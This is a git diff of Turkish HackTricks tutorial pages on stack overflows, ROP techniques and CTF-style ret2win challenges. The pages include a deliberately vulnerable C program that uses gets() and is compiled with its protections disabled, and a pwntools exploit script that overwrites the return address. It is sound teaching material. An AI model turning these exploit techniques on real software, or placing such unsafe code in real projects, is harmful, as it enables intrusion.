* **Ret2lib**: Yüklenmiş bir kütüphaneden keyfi parametrelerle keyfi işlevleri çağırmak için ROP'u kullanın (genellikle `system('/bin/sh')` gibi bir şey).
* **Ret2lib**: Yüklenmiş bir kütüphaneden keyfi parametrelerle keyfi işlevleri çağırmak için ROP kullanın (genellikle `system('/bin/sh')` gibi bir şey).
{% content-ref url="ret2lib/" %}
[ret2lib](ret2lib/)
{% endcontent-ref %}
* **Ret2Syscall**: Bir sistem çağrısını hazırlamak için ROP'u kullanın, örneğin `execve`, ve bunu keyfi komutları yürütmek için kullanın.
* **Ret2Syscall**: ROP'u bir sistem çağrısını hazırlamak için kullanın, örneğin `execve`, ve bunu keyfi komutları yürütmek için kullanın.
{% content-ref url="rop-syscall-execv.md" %}
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
* **EBP2Ret ve EBP Zincirleme**: İlk olarak akışı kontrol etmek için EIP yerine EBP'yi kötüye kullanacak ve ikincisi Ret2lib'e benzer ancak bu durumda akış genellikle EBP adresleriyle kontrol edilir (ancak EIP'nin de kontrol edilmesi gerekmektedir).
* **EBP2Ret ve EBP Zincirleme**: İlk olarak akışı kontrol etmek için EBP'yi EIP yerine kötüye kullanacak ve ikincisi Ret2lib'e benzer ancak akışı çoğunlukla EBP adresleriyle kontrol eder (ancak EIP'yi kontrol etmek de gereklidir).
{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %}
[stack-pivoting-ebp2ret-ebp-chaining.md](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
@ -181,18 +199,20 @@ ROP'un sadece keyfi kodu yürütmek için bir teknik olduğunu unutmayın. ROP'a
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
* 64 bit, Pie ve nx etkin, kanarya olmayan, RIP'yi yalnızca bir `vsyscall` adresiyle üzerine yazarak flag sızdıran fonksiyonun bir kısmını elde etmek için yığının bir sonraki adresine geri dönmek amacıyla RIP'yi üzerine yazma
* 64 bit, Pie ve nx etkin, kanarya olmayan, RIP'yi yalnızca bir `vsyscall` adresiyle üzerine yazarak, yığında flagı sızdıran fonksiyonun bir kısmını almak için yığındaki bir sonraki adrese geri dönmek amacıyla RIP'yi üzerine yazma
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, ASLR olmayan, yığını yürütülebilir yapmak ve yığında shellcode'a atlamak için ROP cihazı
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmaya kadar AWS hackleme öğrenin!</summary>
HackTricks'i desteklemenin diğer yolları:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.**
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzdaki özel [**NFT'leri**](https://opensea.io/collection/the-peass-family) keşfedin
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek destekleyin.**
</details>

View file

@ -2,29 +2,29 @@
<details>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Stack Overflow Nedir
Bir **stack overflow** (yığın taşması), bir programın yığına ayrılan kapasiteden daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **bitişik bellek alanını üzerine yazarak** geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun yürütülmesine neden olabilir. Bu sorun genellikle, giriş üzerinde sınırların kontrol edilmediği güvensiz işlevlerin kullanılmasından kaynaklanır.
Bir **yığın taşması (stack overflow)**, bir programın yığına ayrılan kapasiteden daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **bitişik bellek alanını üzerine yazarak** geçerli verilerin bozulmasına, kontrol akışının bozulmasına ve potansiyel olarak kötü amaçlı kodun yürütülmesine neden olabilir. Bu sorun genellikle, giriş üzerinde sınırların kontrol edilmediği güvenli olmayan işlevlerin kullanılmasından kaynaklanır.
Bu üzerine yazma sorununun ana nedeni, **kaydedilmiş komut işaretçisi (EIP/RIP)** ve **kaydedilmiş taban işaretçisi (EBP/RBP)** gibi önceki işleve geri dönüş için **yığında saklanan değerlerdir**. Bu nedenle, bir saldırgan bunları üzerine yazabilir ve programın **yürütme akışını kontrol edebilir**.
Bu üzerine yazma sorununun ana nedeni, **kaydedilmiş komut işaretçisi (EIP/RIP)** ve **kaydedilmiş taban işaretçisi (EBP/RBP)**'nin önceki işleve geri dönüş için **yığında depolanmasıdır**. Bu nedenle, bir saldırgan bunları üzerine yazarak programın yürütme akışını **kontrol edebilir**.
Bu zafiyet genellikle bir işlevin **yığına ayrılan miktarın üzerinde bayt kopyaladığı** durumlarda ortaya çıkar, bu nedenle yığının diğer kısımlarını üzerine yazabilir.
Bu zafiyet genellikle bir işlevin **yığına ayrılan miktarın üzerinde bayt kopyaladığı** için ortaya çıkar, bu nedenle yığının diğer kısımlarını üzerine yazabilir.
Bu duruma yol açan bazı yaygın işlevler: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, bir **uzunluk argümanı alan** **`fgets`**, **`read` & `memcpy`** gibi işlevler, belirtilen uzunluğun ayrılan miktarından büyük olması durumunda zafiyetli bir şekilde kullanılabilir.
Bu duruma duyarlı bazı yaygın işlevler: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, uzunluk argümanı alan **`fgets`**, **`read` & `memcpy`** gibi işlevler, belirtilen uzunluğun ayrılan uzunluktan büyük olduğu durumlarda duyarlı bir şekilde kullanılabilir.
Örneğin, aşağıdaki işlevler zafiyetli olabilir:
Örneğin, aşağıdaki işlevler duyarlı olabilir:
```c
void vulnerable() {
char buffer[128];
@ -33,13 +33,13 @@ gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
```
### Stack Overflow Ofsetlerini Bulma
### Stack Taşmaları Ofsetlerini Bulma
Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girdisi vermek (örneğin `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresine erişilmeye çalışıldığını** gösteren bir `Segmentation Fault` almayı beklemektir.
Stack taşmalarını bulmanın en yaygın yolu, çok büyük bir `A` girdisi vermek (örneğin `python3 -c 'print("A"*1000)'`) ve **erişilmeye çalışılan adresin `0x41414141` olduğunu gösteren** bir `Segmentation Fault` almayı beklemektir.
Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **dönüş adresini üzerine yazabileceğiniz ofseti bulmanız gerekecektir**, bunun için genellikle bir **De Bruijn dizisi** kullanılır. Bu, _k_ boyutunda bir alfabeye ve _n_ uzunluğundaki alt dizilere sahip bir dizi olup, **her olası _n_ uzunluğundaki alt dizinin tam olarak bir kez** ardışık bir alt dizi olarak göründüğü döngüsel bir dizidir.
Ayrıca, Stack Overflow zafiyetinin bulunduğunu keşfettikten sonra, **dönüş adresini üzerine yazabileceğiniz ofseti bulmanız gerekecektir**, bunun için genellikle bir **De Bruijn dizisi** kullanılır. Bu, _k_ boyutunda bir alfabeye ve _n_ uzunluğundaki alt dizilere sahip bir dizi olup, **her olası _n_ uzunluğundaki alt dizinin tam olarak bir kez** ardışık bir alt dizi olarak göründüğü döngüsel bir dizidir.
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini el ile bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından üzerine yazılan baytların ofsetini bulmak mümkündür.
Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini el ile bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından üzerine yazmayı bitiren baytların ofsetini bulmak mümkündür.
Bunun için genellikle **pwntools** kullanılabilir:
```python
@ -60,16 +60,16 @@ pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
```
## Yığın Taşmalarını Sömürme
## Stack Overflow Sömürme
Taşma sırasında (taşma boyutu yeterince büyükse) yığın içindeki yerel değişkenlerin değerlerini **üzerine yazabilirsiniz** ve kaydedilmiş **EBP/RBP ve EIP/RIP'yi (hatta daha fazlasını)** bulana kadar devam edebilirsiniz.\
Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece işlev bittiğinde **kontrol akışı kullanıcının belirttiği yere yönlendirilir**.
Taşma gerçekleştiğinde (taşma boyutu yeterince büyükse) yığın içindeki yerel değişkenlerin değerlerini **üzerine yazabilirsiniz** ve kaydedilmiş **EBP/RBP ve EIP/RIP'yi (hatta daha fazlasını)** bulana kadar devam edebilirsiniz.\
Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirerek** işlev sona erdiğinde **kontrol akışını kullanıcının belirttiği yere yönlendirmektir**.
Ancak, diğer senaryolarda belki sadece **yığında bazı değişken değerlerini üzerine yazmak** yeterli olabilir (kolay CTF zorluklarında olduğu gibi).
Ancak, diğer senaryolarda belki sadece **yığında bazı değişken değerlerini üzerine yazmak** istismar için yeterli olabilir (kolay CTF zorluklarında olduğu gibi).
### Ret2win
Bu tür CTF zorluklarında, **asla çağrılmayan** bir **işlev** **içinde** bulunan ve **kazanmak için çağrılması gereken bir işlev** bulunmaktadır. Bu zorluklarda sadece **dönüş adresini üzerine yazmak için ofseti bulmanız** ve çağrılacak işlevin adresini bulmanız gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) devre dışı bırakılmış olacaktır), bu sayede zafiyetli işlev döndüğünde gizli işlev çağrılacaktır:
Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağrmanız gereken bir işlev** olan bir **işlev** **binary içinde** bulunmaktadır. Bu zorluklar için sadece **dönüş adresini üzerine yazmak için ofseti bulmanız** ve çağrılacak işlevin adresini bulmanız (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) devre dışı bırakılmış olacaktır) yeterlidir, böylece zafiyetli işlev döndüğünde gizli işlev çağrılacaktır:
{% content-ref url="ret2win/" %}
[ret2win](ret2win/)
@ -77,7 +77,7 @@ Bu tür CTF zorluklarında, **asla çağrılmayan** bir **işlev** **içinde** b
### Yığın Kabuk Kodu
Bu senaryoda saldırgan, yığına bir kabuk kodu yerleştirebilir ve kontrol edilen EIP/RIP'yi kabuk koda atlamak ve keyfi kodu yürütmek için kullanabilir:
Bu senaryoda saldırgan, bir kabuk kodunu yığına yerleştirebilir ve kontrol edilen EIP/RIP'yi kabuk koduna atlamak ve keyfi kodu yürütmek için kullanabilir:
{% content-ref url="stack-shellcode/" %}
[stack-shellcode](stack-shellcode/)
@ -85,12 +85,20 @@ Bu senaryoda saldırgan, yığına bir kabuk kodu yerleştirebilir ve kontrol ed
### ROP ve Ret2... teknikleri
Bu teknik, önceki tekniğin ana korumasını atlamak için temel çerçevedir: **Yürütülebilir yığın yok (NX)**. Ve bu, ikili dosyadaki mevcut talimatları istismar ederek keyfi komutları yürütmeyi sonlandıran çeşitli diğer teknikleri gerçekleştirmenizi sağlar (ret2lib, ret2syscall...):
Bu teknik, önceki tekniğin ana korumasını atlamak için temel çerçevedir: **Yürütülebilir yığın yok (NX)**. Ve bu, ikili dosyadaki mevcut talimatları kötüye kullanarak keyfi komutları yürütmeyi sağlayan diğer teknikleri gerçekleştirmenizi sağlar (ret2lib, ret2syscall...):
{% content-ref url="../rop-return-oriented-programing/" %}
[rop-return-oriented-programing](../rop-return-oriented-programing/)
{% endcontent-ref %}
## Yığın Taşmaları
Bir taşma her zaman yığında olmayabilir, örneğin **yığın** içinde de olabilir:
{% content-ref url="../heap/heap-overflow.md" %}
[heap-overflow.md](../heap/heap-overflow.md)
{% endcontent-ref %}
## Koruma Türleri
Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar bulunmaktadır, bunları kontrol edin:

View file

@ -2,25 +2,25 @@
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmaya öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
**Ret2win** zorlukları, özellikle **binary exploitation** içeren görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, verilen bir binary'deki bir zafiyeti sömürerek, genellikle `win`, `flag` vb. adlarla adlandırılan belirli, çağrılmamış bir işlevi yürütmektir. Bu işlev çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Genellikle, istenen işleve yürütme akışını yönlendirmek için **stack** üzerindeki **dönüş adresini** değiştirerek bir zafiyeti kullanmanız gerekmektedir. İşte örneklerle daha detaylı bir açıklama:
**Ret2win** zorlukları, özellikle **binary exploitation** içeren görevlerde, **Capture The Flag (CTF)** yarışmalarında popüler bir kategoridir. Amaç, verilen bir binary'deki bir zafiyeti sömürerek, genellikle `win`, `flag` vb. adlarla adlandırılan belirli bir çağrılmamış işlevi yürütmektir. Bu işlev, çalıştırıldığında genellikle bir bayrak veya başarı mesajı yazdırır. Genellikle, istenen işleve yürütme akışını yönlendirmek için **stack** üzerindeki **dönüş adresini** değiştirerek bir zafiyeti sömürmeyi içerir. İşte örneklerle daha detaylı bir açıklama:
### C Örneği
Zafiyet içeren basit bir C programı ve çağırmayı amaçladığımız bir `win` işlevi düşünelim:
Zafiyeti olan basit bir C programı ve çağırmayı amaçladığımız bir `win` işlevi düşünün:
```c
#include <stdio.h>
#include <string.h>
@ -51,7 +51,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
### Pwntools Kullanarak Python Sızma
Sızma için, **pwntools** kullanacağız, sızma yazmak için güçlü bir CTF çerçevesi. Sızma betiği, tamponu taşırarak ve dönüş adresini `win` fonksiyonunun adresiyle değiştirerek bir yük oluşturacaktır.
Sızma için güçlü bir CTF çerçevesi olan **pwntools** kullanacağız. Sızma betiği, tamponu taşırarak ve dönüş adresini `win` fonksiyonunun adresiyle değiştirerek bir saldırı yükü oluşturacaktır.
```python
from pwn import *
@ -71,18 +71,18 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
`win` fonksiyonunun adresini bulmak için **gdb**, **objdump** veya binary dosyaları incelemenize izin veren diğer araçları kullanabilirsiniz. Örneğin, `objdump` ile şu şekilde kullanabilirsiniz:
`win` fonksiyonunun adresini bulmak için **gdb**, **objdump** veya binary dosyaları incelemenize izin veren diğer araçları kullanabilirsiniz. Örneğin, `objdump` ile şunu kullanabilirsiniz:
```sh
objdump -d vulnerable | grep win
```
Bu komut, `win` fonksiyonunun montajını ve başlangıç adresini gösterecektir.
Python betiği, `vulnerable_function` tarafından işlenen dikkatle oluşturulmuş bir ileti gönderir ve tampon taşması yaparak yığın üzerindeki dönüş adresini `win` adresiyle üzer yazar. `vulnerable_function` geri döndüğünde, `main`e dönmemek veya çıkmamak yerine `win`e atlar ve ileti yazdırılır.
Python betiği, `vulnerable_function` tarafından işlendiğinde, tamamen oluşturulmuş bir ileti gönderir ve tamponu taşırarak yığın üzerindeki dönüş adresini `win` adresiyle üzer yazar. `vulnerable_function` geri döndüğünde, `main`e dönmemek veya çıkmamak yerine `win`e atlar ve ileti yazdırılır.
## Korumalar
* Adresin her zaman aynı olması gerektiği için [**PIE**](../../common-binary-protections-and-bypasses/pie/) **devre dışı bırakılmalıdır** veya işlevin depolanacağı adres her zaman aynı olmayacak ve win fonksiyonunun nerede yüklendiğini belirlemek için sızıntıya ihtiyacınız olacaktır. Taşmanın neden olduğu işlev `read` veya benzeri olduğunda, dönüş adresini win fonksiyonu olacak şekilde 1 veya 2 bayt **Kısmi Üzerine Yazma** yapabilirsiniz. ASLR'nin çalışma şeklinden dolayı, son üç onaltılık hane rastgele değil, bu yüzden doğru dönüş adresini almak için **1/16 şans** (1 onaltılık) vardır.
* [**Yığın Kanaryaları**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalı veya tehlikeye atılan EIP dönüş adresi asla takip edilmeyecektir.
* Adresin güvenilir olması için [**PIE**](../../common-binary-protections-and-bypasses/pie/) **devre dışı bırakılmalıdır** veya işlevin depolanacağı adres her zaman aynı olmayacak ve `win` fonksiyonunun nerede yüklendiğini belirlemek için sızıntıya ihtiyacınız olacaktır. Bazı durumlarda, taşmayı tetikleyen işlev `read` veya benzeri olduğunda, dönüş adresini `win` fonksiyonu olacak şekilde değiştirmek için 1 veya 2 baytlık bir **Kısmi Üzerine Yazma** yapabilirsiniz. ASLR'nin çalışma şeklinden dolayı, son üç onaltılık hane rastgele değil, bu yüzden doğru dönüş adresini almak için **1/16 şans** (1 onaltılık) vardır.
* [**Yığın Kanaryaları**](../../common-binary-protections-and-bypasses/stack-canaries/) da devre dışı bırakılmalıdır veya tehlikeye atılan EIP dönüş adresi asla takip edilmeyecektir.
## Diğer örnekler ve Referanslar
@ -90,21 +90,25 @@ Python betiği, `vulnerable_function` tarafından işlenen dikkatle oluşturulmu
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32 bit, ASLR yok
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 bit, ASLR ile, bin adresinin sızıntısıyla
* 64 bit, ASLR ile, bin adresinin sızıntısı ile
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bit, ASLR yok
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bit, ASLR yok, çift küçük taşma, yığını taşmak ve ikinci taşmanın boyutunu genişletmek için ilk taşma
* 32 bit, ASLR yok, çift küçük taşma, önce yığını taşmak ve ikinci taşmanın boyutunu genişletmek için
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bit, relro, kanarya yok, nx, pie yok, adresi `fflush` ile win fonksiyonuna (ret2win) üzerine yazmak için format dizesi
* 32 bit, relro, kanarya yok, nx, pie yok, `fflush` adresini `win` fonksiyonuyla (ret2win) üzerine yazmak için format dizesi
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 bit, nx, başka bir şey yok, EIP'nin (1 Bayt) kısmi üzerine yazılmasıyla win fonksiyonunu çağırmak
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 bit, nx, başka bir şey yok, EIP'nin (1 Bayt) kısmi üzerine yazılmasıyla win fonksiyonunu çağırmak
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Program, girişin boyutunu kontrol etmek için bir sayının son baytını doğruluyor, bu nedenle son baytın izin verilen aralık içinde olması koşuluyla herhangi bir boyut eklemek mümkündür. Ardından, giriş, bir ret2win ile istismar edilen bir tampon taşması oluşturur.
* Program, girişin boyutunu kontrol etmek için bir numaranın son baytını doğruluyor, bu nedenle son baytın izin verilen aralık içinde olması koşuluyla herhangi bir boyut eklemek mümkündür. Ardından, giriş, bir ret2win ile istismar edilen bir tampon taşması oluşturur.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bit, relro, kanarya yok, nx, pie. Win fonksiyonunu (ret2win) çağırmak için kısmi üzerine yazma
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
* arm64, PIE, win fonksiyonunun aslında 2 işlev olduğu için ROP cihazı, 2 işlevi çağıran ROP cihazı sağlar
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
* ARM64, bir win fonksiyonunu çağırmak için bir eksik bir taşma kullanımı
## ARM64 Örneği
@ -114,14 +118,14 @@ Python betiği, `vulnerable_function` tarafından işlenen dikkatle oluşturulmu
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**.
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details>
@ -57,7 +57,7 @@ run
```
<figure><img src="../../../.gitbook/assets/image (1202).png" alt=""><figcaption></figcaption></figure>
arm64, register x30'daki (kompromize edilmiş olan) adrese dönmeye çalışacak, bu durumu kullanarak deseni ofsetini bulabiliriz:
arm64, register x30'daki adresi geri döndürmeye çalışacak (ki bu da tehlikeye atıldı), bunu kullanarak deseni ofsetini bulabiliriz:
```bash
pattern search $x30
```
@ -67,7 +67,7 @@ pattern search $x30
### Yığın ofset seçeneği
İlk olarak, pc kaydedildiği yığın adresini alarak başlayın:
